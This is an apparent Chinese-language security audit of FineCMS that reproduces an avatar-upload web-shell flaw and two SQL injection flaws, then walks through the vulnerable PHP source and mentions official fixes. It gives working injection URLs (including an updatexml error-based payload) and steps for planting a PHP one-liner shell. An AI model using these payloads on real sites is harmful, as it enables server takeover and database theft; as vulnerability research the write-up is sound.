FineCMS漏洞审计
一.漏洞复现
1.文件上传
上传php一句话(改成png或者jpg),上传后把png改回php.这里上传图片在将一句话16进制编码加进去,后改文件类型也可以。
他这里文件保存路径其实是根据用户的uid来的,抓包可以看到uid.
直接右键头像可以看到上传路径。 虽然这里会报错提示没上传成功,但实际上是上传成功了的。并且文件名会重命名0x0.php
可以看到连接成功,其实后续步骤按道理讲应该还要提权的,但是由于我们搭建平台是phpstudy,默认就是用系统用户运行该软件。(也可以提权,这里没啥必要,因为马已经是系统权限了)
后来官方修复添加了白名单机制
2.SQL注入
测试:爆当前用户,发现是root用户
index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql sql='select user();'
3.SQL注入–报错注入
测试:
index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))q
爆出用户名
二.代码审计
1.文件上传
漏洞发生点代码
漏洞代码位于/finecms/dayrui/controllers/member/Account.php 177~244行,具体是在用户头像上传的地方
public function upload() {
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
!$type && exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片不存在'));
}
if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
}
exit('1');
}
代码仅判断了是否是图片类型,这个判断很容易绕过,只需使用抓包工具修改即可。
2.SQL注入漏洞1
漏洞代码位于/finecms/dayrui/controllers/Api.php中的data2()函数
public function data2() {
$data = array();
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
}
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
if (!function_exists($function)) {
$data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
} else {
$data = $function($data);
}
}
if ($format == 'php') {
print_r($data);
} elseif ($format == 'jsonp') {
echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
echo $this->callback_json($data);
}
exit;
}
这个函数可以调用到其他的敏感函数,函数传入的参数进入了data=this->template->list_tag($param),正常来说系统封装的函数是用户不能调用的,但这里用户可以调用data函数,继续追踪,查看/finecms/dayrui/libraries/Template.php list_tag( )函数 在731行左右:
case 'sql':
if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {
$db = $this->ci->db;
$sql = str_replace(
array('@#S', '@#'),
array($db->dbprefix.$system['site'], $db->dbprefix),
trim(urldecode($sql[1]))
);
if (stripos($sql, 'SELECT') !== 0) {
return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
}
$total = 0;
$pages = '';
if ($system['page'] && $system['urlrule']) {
$page = max(1, (int)$_GET['page']);
$row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
$total = (int)$row['c'];
$pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
if (!$total) {
return $this->_return($system['return'], '没有查询到内容', $sql, 0);
}
$sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
$pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
}
$data = $this->_query($sql, $system['site'], $system['cache']);
$fields = NULL;
if ($system['module']) {
$fields = $this->ci->module[$system['module']]['field'];
}
if ($fields) {
$name = 'list-action-sql-'.md5($sql);
$cache = $this->ci->get_cache_data($name);
if (!$cache && is_array($data)) {
$fields['inputtime'] = array('fieldtype' => 'Date');
$fields['updatetime'] = array('fieldtype' => 'Date');
foreach ($data as $i => $t) {
$data[$i] = $this->ci->field_format_value($fields, $t, 1);
}
$cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
}
$data = $cache;
}
return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
} else {
return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来');
}
break;
执行sql语句的函数
public function _query($sql, $site, $cache, $all = TRUE) {
echo $this->ci->site[$site];
$db = $site ? $this->ci->site[$site] : $this->ci->db;
$cname = md5($sql.dr_now_url());
if ($cache && $data = $this->ci->get_cache_data($cname)) {
return $data;
}
$db->db_debug = FALSE;
$query = $db->query($sql);
if (!$query) {
return 'SQL查询解析不正确:'.$sql;
}
$data = $all ? $query->result_array() : $query->row_array();
$cache && $this->ci->set_cache_data($cname, $data, $cache);
$db->db_debug = TRUE;
return $data;
}
将Sql语句处理后赋值给sql变量,_query直接执行没有做任何过滤。
官方修复:data2()
3.SQL注入漏洞–报错注入
漏洞代码 finecms/dayrui/controllers/member/Api.php的checktitle()函数
public function checktitle() {
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
(!$title || !$module) && exit('');
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
$num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
}
其它没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results()
这里SITE_ID指的其实是:
站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理
|